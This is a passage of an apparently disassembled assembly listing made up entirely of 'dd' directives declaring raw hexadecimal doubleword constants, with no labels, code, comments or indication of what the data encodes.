74360EAh, 0C75E4DAEh, 37617019h, 0D20058AAh dd 9DE0FDBEh, 0E232594Ah, 1250E8F3h, 6FD9D1h, 0A0DA5594h dd 6800ACAEh, 3DAA3C7Ch, 8891E2h, 6A9887FDh, 0FE2A1A9Dh dd 0B182D31Eh, 25C3F4C0h, 80C716h, 92D8AF0h, 0FAD5B4E9h dd 9DBC2201h, 0E44AB7BAh, 0FBCC60h, 0F3143B8Fh, 0E9A97D93h dd 0C197BE03h, 0B8A57FF7h, 0D25668h, 0C8AF44F6h, 434E9E98h dd 89E7BA00h, 3B5C18F3h, 89F00D2h, 0ED01B75Ah, 0A0001DAFh dd 5D96B05Eh, 2A5743h, 3EEF99EBh, 0D9867430h, 7689F800h dd 0E5AA52B8h, 40D0C08Ch, 5743BF3h, 0F0A2D000h, 6BBB42E4h dd 0C6B6031Dh, 13EAFF23h, 47F114D0h, 254A641Dh, 0E3AF5780h dd 480A5Dh, 42C3D007h, 37FCCFDEh, 4109648h, 0F57057CBh dd 6E801600h, 0CC4C7C95h, 413EA050h, 0AA1B0056h, 0F5C8E973h dd 5400F3B3h, 98CA2E67h, 25E4Ch, 6EF7426Ah, 89BD558Ch dd 0E9B8E400h, 45A1C0D4h, 79D52CA4h, 652F00B3h, 0CA76218h dd 0F3251C76h, 6A5EB8h, 6775FCDh, 1575AFF0h, 0B20F5500h dd 44D7ED5h, 0FC9A3FC9h, 4A526300h, 7A8773ECh, 0A7720500h dd 0FFDA6883h, 0CC6200F2h, 0A4FC4AD5h, 0A200998Bh, 0D4BE30BAh dd 462118h, 4D280B13h, 0EEF7C422h, 0F407C373h, 0DE0766A8h dd 829CBAF0h, 903239D5h, 9A05A282h, 7FC0B7CCh, 0A3001F30h dd 863622A4h, 14804C8h, 8ADA09B4h, 0F4F2BDD3h, 7000B7F3h dd 81C29E8Fh, 6573EAh, 3FB3AE3Eh, 0B703C1A6h, 2C3D7F00h dd 33DE54B4h, 0BC771F0Ah, 9F4A41B0h, 0EC38A332h, 0DAF47B05h dd 45B28700h, 2A1350BCh, 5A0D0077h, 7D676914h, 8409DE4Dh dd 80C28EF1h, 6A132386h, 733600E8h, 5FFF29C5h, 30EF63FCh dd 0B20092BCh, 0CE227023h, 0BB5B5Ch, 8C615A95h, 0C85819DBh dd 0B643E30Eh, 0B26260EBh, 4E8FD8h, 8B1D65CFh, 0AF7ED978h dd 3DD50B01h, 9A670CF8h, 901F3FC8h, 0A9B50083h, 8BFA634h dd 0F1003EA7h, 3FC349AEh, 0FBBC1F3h, 92ACB2E8h, 485BFE80h dd 4D0080DFh, 0D84596FFh, 596B71h, 8D3561BCh, 29AFD6ECh dd 0C2E60700h, 0E2080126h, 67F10031h, 0FDEA8A8Bh, 0B92E1DE3h dd 6007A7D7h, 1E803FE1h, 5798B4h, 4CD48CA5h, 6E323686h dd 0D9146700h, 9F711D33h, 24700BFh, 0C5F572A5h, 3D0FEA27h dd 0E01992BBh, 2F2D6C81h, 836500A7h, 3C45BC57h, 0ED0EE4BAh dd 0A0EFA886h, 0B5723230h, 192A1CDDh, 0DAB407CDh, 36515062h dd 0AE0E492Bh, 0B7641F7Eh, 0D3A5830Eh, 0A3B77400h, 0B15609h dd 0E00D075Eh, 8A615B44h, 234CEE1Eh, 3A90100h, 0F5A7F3h dd 63843697h, 0AA41B9FBh, 8FC86E00h, 0D6233249h, 0CEC748D0h dd 3FE7F100h, 0ABE010A0h, 9993D500h, 3C9D0ED3h, 0C6E3004h dd 708EBCBAh, 87BB5501h, 0C878E06Ch, 0D922D8h, 45836826h dd 0FB4DF335h, 6EF9F602h, 608DC351h, 0A21EECh, 2B6AD963h dd 2D64A51Ah, 933E011Dh, 0BCEBDD80h, 98E66E07h, 83F93854h dd 56A9119Dh, 20A0005Fh, 2D5CEF6Fh, 80B8A47Eh, 94E39B03h dd 0F30FC680h, 0D895CB39h, 4EEEB1h, 6A06CE38h, 0D750DEC2h dd 0A0A56B00h, 0CC3BFCCBh, 0B879CDh, 0E4E560F4h, 8338464h dd 0BC44C413h, 812CDE1Dh, 104C6700h, 2CA52A45h, 422DCCDh dd 0C0E77BCAh, 994AAAA4h, 38005BB8h, 0A40474A0h, 86CEB1h dd 22062A30h, 0C2A639ACh, 0B7A6AFAh, 0A9BB4D00h, 335F2018h dd 304100B3h, 77AC24CCh dd 0FFE323A2h, 5280D800h, 72838208h, 761A1901h, 0C0A61894h dd 0FB00394Ah, 9840F399h, 3EB08C75h, 2A0C32CBh, 0C228B209h dd 0CF8F5E00h, 0EBF658CAh, 8CCE007Fh, 6C539503h, 0C50044B5h dd 3285A5C3h, 37478Ah, 0EFE7C6D8h, 3E972C7Eh, 0AD201500h dd 0EC42FAB8h, 4A2200A3h, 0C7124FBFh, 2716E43Bh, 2845FF17h dd 908834AAh, 0A59C0FCFh, 10C04124h, 0DE0A62E8h, 0ED96B301h dd 0E05A532Dh, 0C060C9C5h, 725806B2h, 10EC1D85h, 0B60C3B03h dd 0AFF430h, 0E399B2D8h, 9326CAB8h, 6F98DC00h, 0CD0AE664h dd 5D88009Bh, 7FE93D92h, 0A6005563h, 82406F79h, 83FE03h dd 912E6538h, 0D61C0D17h, 66753Ch, 0D02C0E8Fh, 4860F98Dh dd 5E179419h, 0DBDA0047h, 0F2CB96E4h, 31C0C9F8h, 9BDA0FCCh dd 32FE0118h, 538B3C91h, 0A1F8BF8Dh, 222A0089h, 17B9CA80h dd 263A087Ch, 254100EFh, 1BC38865h, 37C4031Ah, 82248DC1h dd 0A1D903C3h, 8B02FEEh, 73490EF2h, 2F608541h, 0CDFF3892h dd 28E92002h, 442EE47Fh, 58B407F4h, 63A66E19h, 48A3C413h dd 0C498F8F1h, 627C367Bh, 0E13A9D00h, 0BE5D4B47h, 0DFF7004Dh dd 0C8A2F6D1h, 6C093664h, 805CD451h, 0EC0FC0E4h, 0B19800B8h dd 2C073397h, 56EABF40h, 3BA98403h, 0C814A287h, 0DFC2ACh dd 1D9A5B2Dh, 91BD2BAAh, 4B020300h, 0B70AA668h, 0FE94178Ch dd 230800E6h, 0E5F2A990h, 0CC59962Eh, 3E827F1Fh, 601BF524h dd 7BD3F08h, 0F89858D1h, 24307980h, 160126C9h, 548D2548h dd 984007FDh, 57B372h, 535F621Ch, 0A0F46DDCh, 0A77E9101h dd 8FF014D5h, 8412DC40h, 510F003Bh, 0D03506CBh, 9D00E4F4h dd 0B2DE4CE5h, 92F725Ch, 7E3BBBE8h, 9A839C81h, 6EA07050h dd 0C7751E00h, 565C851Bh, 7AC1009Bh, 0EF41F654h, 0C300C243h dd 334B7B80h, 90F0C51Eh, 5B110A70h, 3C54AD0h, 0B1E84E0Eh dd 0F0C594B9h, 4401DB9Fh, 3DA9C369h, 95C058F9h, 0FE59008Bh dd 135ADF07h, 5600F1ACh, 0ADB7C08Dh, 44A40F8h, 4B2D390Bh dd 0E0A9C742h, 0A6D3B6E4h, 314CB3Ch, 0ADC334BBh, 0E180D48Bh dd 0E45374C9h, 345250Fh, 575FC080h, 3E48AAF6h, 0F37312DCh dd 5B9190C0h, 988A0094h, 0C2C6B56h, 0E0B0A721h, 0D7135307h dd 11F0C3ACh, 98AD9219h, 2B4700C7h, 0E13E8C7Ch, 630E3729h dd 606FB18Bh, 0BCD2E426h, 0FE3012ECh, 52BC0E2Ch, 3E1F0BE0h dd 2600A490h, 0DE71967h, 290987h, 9BBC6DFBh, 727835D5h dd 22BF3C01h, 85CDAD0Eh, 0EEB7B883h, 93B8E45Eh, 430173C0h dd 0EC7C686Eh, 9DE5B3C8h, 80B9C980h, 7A5A59A9h, 0ECEDF700h dd 0F978612Dh, 9E1201DAh, 0D88E89FBh, 28CFCC76h, 3C1F48h dd 0CCB46E78h, 76D1D4Ch, 3880F14Fh, 57D2C0ECh, 647297F7h dd 783AAD4Ch, 0BFDDE500h, 0BC97B9Ch, 0D92F07D1h, 0FF42CF61h dd 105FC407h, 83B9D75Dh, 0C05C5E00h, 0A6EFB7FDh, 94AF004Bh dd 688892DCh, 0B9123069h, 2CC004EBh, 5671C4Ah, 199841CDh dd 9E148062h, 9000BBEEh, 0CC37DE3h, 1E2C686h, 0C9CA4DA1h dd 0CFCC3238h, 2A54B181h, 16C6DF0h, 0C498E9E2h, 605B8683h dd 0DF75A000h, 1A50437Ch, 3B13DE70h, 902A4BC9h, 0C0F8BC1Ch dd 37BBC783h, 0B49C0BE5h, 0A40E5F0Fh, 7891E11Ch, 98E3E8DDh dd 1D5C2C1h, 35D7254Fh, 809F8F7Eh, 0BFB28920h, 2AA13Ah dd 0AF23112Fh, 9F0449EAh, 74C7C5Ch, 0C555518Ch, 0C848F823h dd 77AC489h, 0E4D8849Dh, 662F934Bh, 100A70E7h, 0AD0247D5h dd 0A03E1CA7h, 8100C0D3h, 88F654DCh, 5063004Eh, 744B1D19h dd 5828963Ah, 8300F8EAh, 3BFD626Ch, 0B0AF3F69h, 7D09A00h dd 1EB9DB01h, 1820AF94h, 0E4D5B205h, 0C7614700h, 8C6F7D33h dd 0FACB0755h, 0E0DE9832h, 75F75EF5h, 0A9444716h, 7BD81B04h dd 0C684E0h, 951DD402h, 6E6B713Ch, 992CF27Bh, 0E283CC27h dd 0A419B69Fh, 780D90C0h, 35B8D0h, 7C85FF45h, 95AE982Eh dd 16070B0Eh, 0EE2BE068h, 0A830E62h, 58EF430Ah, 6B600B0h dd 2E80C745h, 57539D00h, 85C67112h, 44782Fh, 0E7BFAB0Eh dd 8AFD8F32h, 51729301h, 0CC9A18C0h, 42E0E421h, 97060BB0h dd 0E423FCF5h, 0CF885CDCh, 4D0096ABh, 2B2D2329h, 7D403Dh dd 66265E36h, 71D8529Eh, 4CD74200h, 0DEF96E95h, 0F87EF0D4h dd 0E67F0C3Fh, 5D11DDCBh, 0C5206160h, 6F04345h, 1B1F04DCh dd 0EAFE70E3h, 658CB30Bh, 204A8799h, 1512FB80h, 0E020C681h dd 66132998h, 9100AC93h, 0EA21ABEFh, 1C2E14F4h, 8C2024AEh dd 0E97F01EFh, 1170D0h, 7B6CFA0Ch, 0D407D549h, 0DA05AE00h dd 5C0378DBh, 59EA5815h, 0B5817305h, 1468C8CDh, 5E0E2FFCh dd 63FC23ACh, 0F3D45F9Eh, 16480179h, 0C61B077Dh, 94A98214h dd 4184AAA6h, 0C3302A48h, 0A8B300D0h, 41B1383Eh, 0DFFA56CBh dd 90D30700h, 79A96809h, 427A00A4h, 21D887A8h, 0B9001778h dd 0A3EE7B11h, 0D5330h, 39692C33h, 0A74BFB59h, 50120C00h dd 846542Dh, 0DDBE1D48h, 7B1A404Fh, 455A493Eh, 4DDB0F00h dd 0E1E8BCD3h, 8769002Ah, 37506E57h, 239FB6Dh, 2CC400DAh dd 1271FC80h, 607339BFh, 6A287D00h, 0AA763817h, 511F0501h dd 2FB0340Bh, 988468F0h, 823B0404h, 90838588h, 1D71B1C0h dd 3D3C53Fh, 0DC149874h, 0C845A24Bh, 685840h, 29B5D033h dd 6CA8AFBAh, 1C0BA70Ch, 0C09058B9h, 36D19449h, 6C01EFF6h dd 60587C7Fh, 0FAE86A29h, 0B1253B7Dh, 40961A99h, 0F0C8E48Ch dd 0BDC07154h, 8FF5C33Bh, 0E3B1217Fh, 0A3BFD8EBh, 5821005Eh dd 3A52F529h, 4300285Ah, 83313C3Bh, 60701C7Eh, 0C5D1680Fh dd 0F0E00899h, 0FDD6A401h, 377DA855h, 3B07CCh, 4CABFF9Fh dd 0DE3648F6h, 0A7D2CE00h, 3351D6EBh, 0B20001Dh, 0F8735515h dd 0D30023B6h, 0C21F9DA5h, 3FE3CF5h, 0A4091D25h, 698AD948h dd 0DD7F8B60h, 397ABC4Ch, 0F07580E4h, 0FB6F0253h, 0ADC901CBh dd 835E20BDh, 0C49271ACh, 0E700E4DDh, 0E21FB919h, 0EF7FF16h dd 10836DB0h, 49D2CBA0h, 0A45CC081h, 0F4670116h, 0C526A7EBh dd 167DDCh, 9FB7320Eh, 0F14C5699h, 503CF00h, 649AA89Ch dd 13CC0F54h, 128004F0h, 3C0FEADh, 0AF0024E2h, 0EB436AF6h dd 1B6064h, 0E91EF1D0h, 0F334FF7Dh, 0E5FEE81Eh, 0B13DAF82h dd 42ADE006h, 776A1FC2h, 0FF548C6Dh, 9F261E20h, 6C0065BBh dd 97A327F7h, 0AD3400B8h, 0CA30CD39h, 7E002803h, 0E90BC25Eh dd 0CF7D367h, 0E4A36033h, 3706E591h, 0EE7682CAh, 0EC91F0C0h dd 621F00C3h, 704D9715h, 4C30F82Fh, 0E0421CCh, 8C5A01C4h dd 27E956D4h, 0E0C86192h, 4B00F272h, 7639AE9Fh, 3F01CE94h dd 35B1E914h, 7022CFB0h, 650F0656h, 854EAC9Dh, 0A2C30EFCh dd 1092B170h, 3E32980h, 0C5B97460h, 0D81DCEDh, 6530E97Bh dd 0A3522048h, 34FC025Dh, 92449FC0h, 780002E3h, 62DE5FC2h dd 0E88F3Bh, 3FA3C4F7h, 0A97D5461h, 0F5D4F000h, 5B47B309h dd 575AC0F1h, 5DC2562Eh, 32EDEC00h, 0AFD776F9h, 7CF0705h dd 9031DB09h, 909A39D1h, 742D4D0Bh, 7ED600C0h, 0EE67D2Bh dd 35AF2834h, 0F02F240h, 9F1DF69Bh, 4A407506h, 0B2B9660Dh dd 41F8006Dh, 0C1C340A1h, 43182C25h, 0E77601E8h, 99E10046h dd 0D7293FB6h, 4400E40Fh, 0FD6BFCF3h, 0C55B42h, 83728295h dd 2A52C2E8h, 0A000DCF0h, 9197FF85h, 0FB11D4h, 23BDE97Dh dd 2F06CE98h, 7A5C3907h, 0F260BE07h, 1A6C9A4h, 1AEC05DEh dd 0E4E56AF4h, 0F500A316h dd 0EA55E2F1h, 0FF21932h, 0BB388422h, 0F4F3D7E1h, 0AAB680ADh dd 0AB67485Dh, 80DD60AFh, 7BFDB2E1h, 0F9BCF800h, 0E7792AB6h dd 44D13CF1h, 0B37C1380h, 0CF3FB083h, 0C1C2E503h, 0C53685Eh dd 0F68C75A9h, 5072018h, 3EE270D0h, 0CF6061B0h, 3074B87Ch dd 0BC50EC89h, 3A00C162h, 0B91415B2h, 16E96B86h, 0E2FB2Bh dd 0FC3176BBh, 6C00C2F8h, 44844889h, 0E46294ADh, 1C1A008Bh dd 0EB4C1EA0h, 0D00E5D9h, 96CFECA3h, 0EF3B9F6h, 5ACB81FBh dd 227D8E21h, 4079C9B7h, 0F75F0324h, 58C6F214h, 362600F3h dd 4B865C96h, 5314C07h, 806EC81Dh, 697589F5h, 79031C73h dd 0AA8B9199h, 343690EBh, 8E5600DEh, 0BB7FA1ADh, 8300F9E4h dd 5E1C4480h, 0E414B792h, 1D121FBAh, 60F1805Fh, 0B28AFE25h dd 0C4CD1B0Ch, 1A75918Fh, 69470462h, 83C92F81h, 0F9ADE856h dd 3E194C61h, 6503C237h, 680185C3h, 0ED26B8E1h, 6E20F7A5h dd 599E0604h, 0F8203AD3h, 163B331Fh, 0D78FEA83h, 3B083A3h dd 0F6921DA1h, 80974B43h, 5356F5D3h, 2BCFAF00h, 546EB394h dd 0FEED0005h, 845E13D9h, 4A3E14E5h, 6C721CF9h, 0C0817C4Ch dd 77B807D7h, 0C0D1DCCBh, 0AE7A64F1h, 949BF400h, 43579D37h dd 77F4B0h, 796CD0BAh, 0AAA5326Dh, 9930552Ch, 6E521201h dd 0DD009D3h, 8820CC7Ch, 0C70095EAh, 2DC8DBB0h, 67CB5CD9h dd 609C411Ah, 6F14AAF4h, 0D128E800h, 8656EC0Dh, 0E0101F9Bh dd 88E90F1Fh, 3269DA80h, 0D047905h, 0EB865B83h, 0E88E2480h dd 980A1FFCh, 20F5F9h, 6C5A5E2Ah, 1331D53h, 0C0CB3970h dd 7C734E4h, 0BEB8FEDh, 6295C06Dh, 0DA306C89h, 0FB4C41FFh dd 67200EEh, 0C6861C69h, 4200ADDCh, 0C8267C65h, 20848A8Eh dd 0C9DD3583h, 586E3B00h, 0C0639569h, 99A7D910h, 9CE8F0F7h dd 0D7F26D0Eh, 0D67186B3h, 0BFD3006Ah, 0F05AC999h, 454F783Ah dd 693106ACh, 0F014F451h, 381371E3h, 3600C83Dh, 6EA2C664h dd 0FF6A0599h, 48148B98h, 2FC2DD90h, 3470415Fh, 88809058h dd 5A004C28h, 7B136170h, 1A1E448Bh, 0D011A453h, 0CC4D8418h dd 468D9201h, 4CA885DBh, 0A938C4h, 5B9EF03Ch, 706705BFh dd 0FE11400h, 653E07CCh, 6B7AA3h, 0B07A6869h, 33145E01h dd 0E15A5000h, 0E7328CC7h, 0F264E231h, 0EC280FDFh, 6E20A35Dh dd 0F794DECEh, 0E61FF600h, 8F274941h, 0A68A0057h, 7E34F1EEh dd 3500E23Fh, 75928D5Bh, 0C2DCDh, 2B87FEC5h, 6F2F6E6Dh dd 0CCA0BC01h, 0FF590383h, 7097BA60h, 455503C9h, 3A8A4034h dd 0B5941598h, 0AC7A2100h, 0FF04073Fh, 0CDC33C74h, 6E8B72BEh dd 0D28BABA1h, 0C4B38E00h, 4B001252h, 0F8EC5C32h, 1371C1D1h dd 0FB657Dh, 47EA25Bh, 920025B8h, 0B5150D60h, 0E3E2066h dd 81782D4h, 0EF7D77E0h, 0EC0384B4h, 0F1949211h, 4F11009Ch dd 71D6B8DDh, 0D4194B77h, 0E108BE1Ch, 0DB2F2181h, 30C296B8h dd 163EE4FFh, 5841024Eh, 0B57D76EAh, 8E9628h, 496C1724h dd 0F818BAA4h, 7FD83BFDh, 0E1840E6Fh, 0BE8C14h, 968B7674h dd 9C139228h, 0A7E03A32h, 0E1640057h, 7E2D5B72h, 0FF732019h dd 771D8101h, 0C1010207h, 7226770h, 0DB117F58h, 0F6AA80BDh dd 0F40E3806h, 0C0048C82h, 761FF01Bh, 0CEEA00BEh, 0AFAA8851h dd 5073F2Dh, 0F2C2043Ch, 0E023BA91h, 92CC0F7h, 0EF7200B7h dd 6035475Bh, 241E15A5h, 6240957Fh, 0A0997743h, 340B006Ch dd 0E8A25E8Eh, 0B01C7EA1h, 0D180E0B2h, 456C9EE9h, 73B900E4h dd 983B4CF0h, 2200D95Bh, 3D52EBB5h, 1A9A12h, 0C2C66D9Dh dd 0AE917EAFh, 846BA34h, 78209E18h, 79D30098h, 134B4A7Ah dd 0DC00D0A1h, 0C8AF874Ch, 12CABF5h, 0C9629329h, 0DCC4D5C7h dd 4500965Ah, 6ADB0B3Dh, 1EF9BE36h, 0D915Bh, 0A9499038h dd 63CDDC1h, 8C5B14Fh, 20809811h, 3D42E89Bh, 0FE01CDEAh dd 698CD921h, 41804EA2h, 2E0E1F58h, 11D203E6h, 0C51B3C07h dd 4AEF4500h, 8CD6688h, 0C8022119h, 0A7BE22B3h, 3FD9C0AAh dd 0D2E50077h, 587AC3ACh, 0E0300B8Bh, 64FB6059h, 0F9230F47h dd 191671B5h, 81C80887h, 475C4121h, 0A730A083h, 61BEC66h dd 35020863h, 430AF834h, 78F37C36h, 8349DE81h, 70EEDCEh dd 25441785h, 16E33277h, 4D391D4Ch, 0EBA740B0h, 451D4190h dd 965E9700h, 7C0B5466h, 6882289Eh, 0D2E28Ch, 0DE10FAF3h dd 0E6C83621h, 82EC9F3Eh, 937B120h, 0A7D6407Eh, 7C5D01B6h dd 1E0508F1h, 0E060C232h, 741C5254h, 6440D943h, 7128B39Eh dd 0C365002Bh, 311AD96h, 50001742h, 9CE2CE20h, 0BECF48h dd 0D53E2332h, 29265EA9h, 435AB802h, 0E00FC7D3h, 3CFF3F5Dh dd 0E18EEE16h, 1240E5ADh, 0A5781433h, 0DE6D1A1Eh, 57048E80h dd 3AFC94Fh, 0EEBEBF20h, 0B8F9D129h, 184E6013h, 41CFF500h dd 4556EAF0h, 0F83B0E91h, 439FBF4Fh, 0AAD174B7h, 24EB8098h dd 3F487760h, 0F842040Eh, 502B6CE3h, 2200CD60h, 3FD3C7F8h dd 0F933D7h, 0D8FF48E4h, 0DA2A7451h, 0C425A501h, 0FE663A0Ch dd 0E06EA4C0h, 750200AFh, 0E954EA13h, 7F00BDCCh, 998D1817h dd 357215Dh, 953C2235h, 800074B1h, 0D2EF56E9h, 0FD89A1h dd 784D1E26h, 247AD62Fh, 0F5253Bh, 0E6064A34h, 33B539D8h dd 84D1AAA6h, 2498190Ch, 0FA9550B0h, 1D4C0047h, 0CAA7343h dd 66E4EB5Eh, 0AEE32100h, 8DB56D83h, 30BD6069h, 807F78CDh dd 99B01F06h, 493826h, 0B82DC0BBh, 0B4C356E7h, 0F00020DFh dd 86A0798Fh, 9D340051h, 0B1524543h, 6EF67C5Ch, 46479800h dd 936BC2A3h, 616CE241h, 0B1E338D6h, 7C80601Fh, 0A6907900h dd 7858BC3Eh, 33795Dh, 83A82E85h, 0E6CC4961h, 0B925F600h dd 39D99293h, 176617A5h, 57B2005Ch, 863516E2h, 3D9AB33Ch dd 3E0D0070h, 3963941h, 7C6B00D8h, 5A73B233h, 0CB00BC07h dd 9C42B345h, 0EDDDEE6h, 0AD92E22Fh, 0CE1DE440h, 0FEE6E384h dd 48059603h, 0B182EE91h, 0CF054CDh, 0F818C0F0h, 63FE61EBh dd 8D2A6403h, 0F80EB1E7h, 0ECEAC5D7h, 557E00BEh, 0E38843F3h dd 1601AAF8h, 0ED2DE011h, 8BD8A6CFh, 35AE00C7h, 9A270179h dd 0A800BB51h, 0B6BCF756h, 73BD2Dh, 0FFCDAE0Bh, 42DEB926h dd 46A74F00h, 0F0565E82h, 0FA5D0095h, 5C9CDB0Fh, 20480445h dd 1B6E0063h, 0B69D506Fh, 0F5B4001Dh, 0D2F65CECh, 0DB00BD2Fh dd 0AF360B76h, 0EB6F4EBh, 0DFBEC224h, 3D3E2980h, 0FAEE128Eh dd 5172F000h, 8F0B0FFBh, 9FEC00DCh, 4ED78BA7h, 601FCFAAh dd 39306AC8h, 926B4Ah, 96C2675Ch, 0EC6C5049h, 0E70161EEh dd 419FF82Ah, 50803783h, 99B65429h, 490027A2h, 0BD4425FEh dd 1C1A8232h, 80113ED4h, 0D2F938FBh, 4FF8BB23h, 18871E00h dd 72104D16h, 31E400FDh, 0C1BDCFD0h, 5A010E46h, 0E52C7C76h dd 3CD077F0h, 0F6910016h, 15FCC282h, 0F11D2DB1h, 7F00A23Eh dd 32163D4Fh, 20E71731h, 13710E3Bh, 7118FAACh, 5CD1FD1Ch dd 9ED98300h, 0BE73F5h, 560CCCD5h, 762F7113h, 68963E37h dd 40729250h, 1FA503C9h, 1E2DA042h, 2100FDA3h, 0B3751A6Bh dd 7F021B21h, 0B7F0A8h, 1F01EBD6h, 0A1992825h, 0C6784D60h dd 74DCDB6Eh, 4C10C03Ah, 708FEB3Fh, 6DC23B03h, 0A1C30462h dd 20803E49h, 84EB53DFh, 14396B64h, 9646832Eh, 10B45701h dd 3C2D58h, 0D9C9D51Fh, 0F28A5633h, 207C6063h, 0F5849890h dd 33C3748h, 0B31A4513h, 74A8A8C8h, 35FAA1h, 5448F263h dd 2D2C851Dh, 0FB9C9D00h dd 91277618h, 833A00CBh, 62BFC488h, 0BE002F2Eh, 6D576B4Eh dd 5833BCBBh, 98052CD5h, 0C04275D6h, 0F46EF651h, 35290D00h dd 77DFAF91h, 8DD30052h, 0BB7E0A63h, 0B00082D0h, 83233416h dd 0FFE24Eh, 73FE2A6Ah, 149F1E8Bh, 5C097F2Ch, 836B8039h dd 2E38258Ah, 0C038DC8Dh, 0F2A5E020h, 48C0FD9Fh, 0CCB5BB06h dd 10E0E935h, 2D04004Dh, 0CF7ABE47h, 0DD004379h, 746F29B7h dd 0A8C71Fh, 0CC6627E5h, 0C4137F5Ch, 8C10F301h, 0B2733D07h dd 909930h, 0BAE81F8Ah, 637AE206h, 9F683363h, 0B4DAC0E3h dd 0FF4E00C9h, 22BADF10h, 0F307EF4Dh, 6040B25Ah, 0E4B6B7D0h dd 3A5D00DDh, 46580906h, 867EFDEDh, 870E1301h, 0BF18D91h dd 78BB1BCCh, 1F22EE61h, 40ECF917h, 8B6BD138h, 3F00B9EDh dd 5D671D80h, 25157Fh, 3811DA09h, 2B69C5FEh, 8EDF4700h dd 188F743Eh, 96E5007Ch, 5BB19BAEh, 0A21D9588h, 9DFAE013h dd 9C7C1210h, 80BFCBDCh, 3454E2Dh, 4791C5h, 0A569C3EFh dd 926C7AF8h, 0E693C600h, 7DECEB30h, 0B857002Ch, 0AF3EC53Bh dd 8A018E35h, 94032070h, 0A2C882DCh, 456900C2h, 64995272h dd 833B2E24h, 6AF9AE6Ch, 931EDC00h, 0A5CD79h, 0EAD4220Fh dd 0E4B529B4h, 0D557AF07h, 0F6401B5Ch, 60DCDE68h, 6245E034h dd 0EF00EA6Bh, 0CA464C3Ah, 1DC73B22h, 23A22Ch, 0A5C2981h dd 0B20CD55Bh, 88647A71h, 54B4007Eh, 0A626C0D2h, 341C8A14h dd 0E8B01346h, 0E01507D6h, 7E5E1D61h, 0EEFECF0Ch, 8D80B28Fh dd 254622C2h, 587B7201h, 0DB345D53h, 538A3FCh, 7E3C1DE5h dd 5C5880D2h, 5E3A9FACh, 93B1009Ch, 8D6EC43Bh, 4EE007B3h dd 40BF57F3h, 0D6647744h, 0E8D9A30Ch, 39ED48D1h, 1314091Eh dd 1AC10CC2h, 0E4D3BB1Fh, 843D9BA2h, 0CAD480DBh, 0B87BB099h dd 0FE8300B2h, 22B33E68h, 0A500415Dh, 7CDE0119h, 4BFD0Ah dd 0ACE48135h, 0D338B9DDh, 68ECC300h, 56B649A8h, 0D83100C6h dd 8E08D52Ah, 0B00AA2Eh, 833BB9B5h, 5D80F5h, 0D9308711h dd 0C17E178Dh, 0EA6EE0E0h, 2AC80A8h, 0E59472Ah, 0A77AFFDh dd 657F4360h, 3200816Ch, 4E993952h, 6E36AE4h, 0F25A00Bh dd 0D91841DEh, 1E9BCF1h, 0D37C0175h, 5C5383B5h, 0C1188026h dd 7FB72E86h, 3472A9h, 5876A554h, 9F599D57h, 928D9B00h dd 5196BC84h, 0C20E005Dh, 0B6F585D0h, 90016815h, 94C98A2Ch dd 98D82023h, 78E0001h, 1545D153h, 0D40019E3h, 5E620DC8h dd 82F561h, 0C1FF4D3Ch, 0D816D23Ah, 932EB7E8h, 1D00A097h dd 486FE87Ch, 0BAEA2F2Eh, 40F36DEh, 5728B834h, 0AE893E3Eh dd 64A0CE00h, 6149D9F0h, 0AA291318h, 96B1170h, 18D46AE1h dd 0D0D8A883h, 3ACEA388h, 0F5D11E00h, 0B2EA86B5h, 72E200C2h dd 0B0E8F694h, 153D3AD6h, 78E9B04Dh, 383710Eh, 0A1BC1C87h dd 0B5A0BE6Bh, 62061499h, 0F37E86E4h, 32C8599h, 0B865982Ah dd 0F85BA836h, 4FAD0DF0h, 0F060E82Dh, 54135FFBh, 0B00199E7h dd 3EE93DB2h, 45B70880h, 89A9A778h, 0E4C0B018h, 5CA03A30h dd 0FB180DABh, 491E28D9h, 1101E97Fh, 154DF9ECh, 0BD49F05h dd 0B1390035h, 72511C68h, 0D30AC22Eh, 0B84BCE7Ah, 0DF59DE82h dd 1424A0EFh, 0ECB303h, 743A5386h, 0FD26EDD1h, 30B26330h dd 30D0347h, 76817C9Fh, 48001B78h, 60222FA4h, 6CBF54h dd 924C8AD5h, 20EF52E2h, 3AB32700h, 0C9AB64B0h, 78EC48h dd 6C03887Eh, 6D461842h, 0BC764E00h, 0E85B9E9Ah, 7F3A5CA1h dd 70724400h, 982140C2h, 79914503h, 9068BB85h, 1EA8A657h dd 836FF167h, 0AB41C9AAh, 0C8D2EEC0h, 0EA62BE00h, 12F33FA8h dd 0AD8A01FCh, 66632381h, 0D0D720A7h, 0EE036A00h, 0CD05D4CFh dd 897B7Eh, 8EDDDE2h, 0D7BBF542h, 1AABA300h, 0B8333E40h dd 0FC0737Dh, 0FD896332h, 70A62FC3h, 9C8A5D88h, 0E6AA3307h dd 0C4701F29h, 158505Ch, 564EF1E3h, 0F6C59FA6h, 5BC3ECC0h dd 7F6771Dh, 5700D29Fh, 1098A753h, 0B4362484h, 867B806Ch dd 96D3352Dh, 0C9B5F31Eh, 0FE3CA500h, 18A0BE4h, 0E047C2D9h dd 30640E22h, 8500A421h, 611C715h, 95CAA92h, 4AA0FCEFh dd 72823C20h, 30ECCBCh, 4035A1A7h, 0BFF7CD8h, 7D6C1F68h dd 3F5E85h, 52CEBC8Eh, 0CF00D17Bh, 1F54CB49h, 0F919A7h dd 24BE512Fh, 7A5E6C60h, 0CD0E8800h, 1478387Ch, 9719128Fh dd 0D8C500FBh, 1B170710h, 1D26AC38h, 53C00C03h, 27BC4995h dd 0CF2301C7h, 6899207Bh, 0DEAC20B6h, 0B7004D78h, 7829DDF0h dd 0B06450CEh, 3C580F46h, 40FE8811h, 4E048902h, 0AD3CA9ABh dd 0DE1D0073h, 0B42F6AF3h, 267700BEh, 72886E1Eh, 47008D76h dd 51744536h, 2D6865h, 0E721D4E9h, 0F4B42CA3h, 1C705A03h dd 0A8F3BB0Ch, 0E165D30h, 0C97584B0h, 43B5D780h, 0F4003AE7h dd 2CD9F39Bh, 0B01089CFh, 0C94E00D1h, 0EBEAB6A3h, 28FCBB7Bh dd 1EAC9107h, 4C91E3F9h, 0FFEC4BF4h, 0D85100AEh, 3F3CDC6Bh dd 6100432Ah, 0CC4D2973h, 3D2E2339h, 0A8BC194h, 0C3810360h dd 0F01C3F46h, 2D00D6D8h, 0F529BD1Fh, 73301Dh, 36CF1352h dd 548E669h, 9B7ED900h, 97DAAF5Ah, 0E9B905BBh, 0C0B8D64Ch dd 0D57FA8E9h, 0C8AAD800h, 442569E1h, 0BBDB01ACh, 715FB555h dd 0A4EE0EFh, 5D4D6200h, 0DCD01F6Eh, 0EE7C0074h, 6CDFCF60h dd 1C70530Dh, 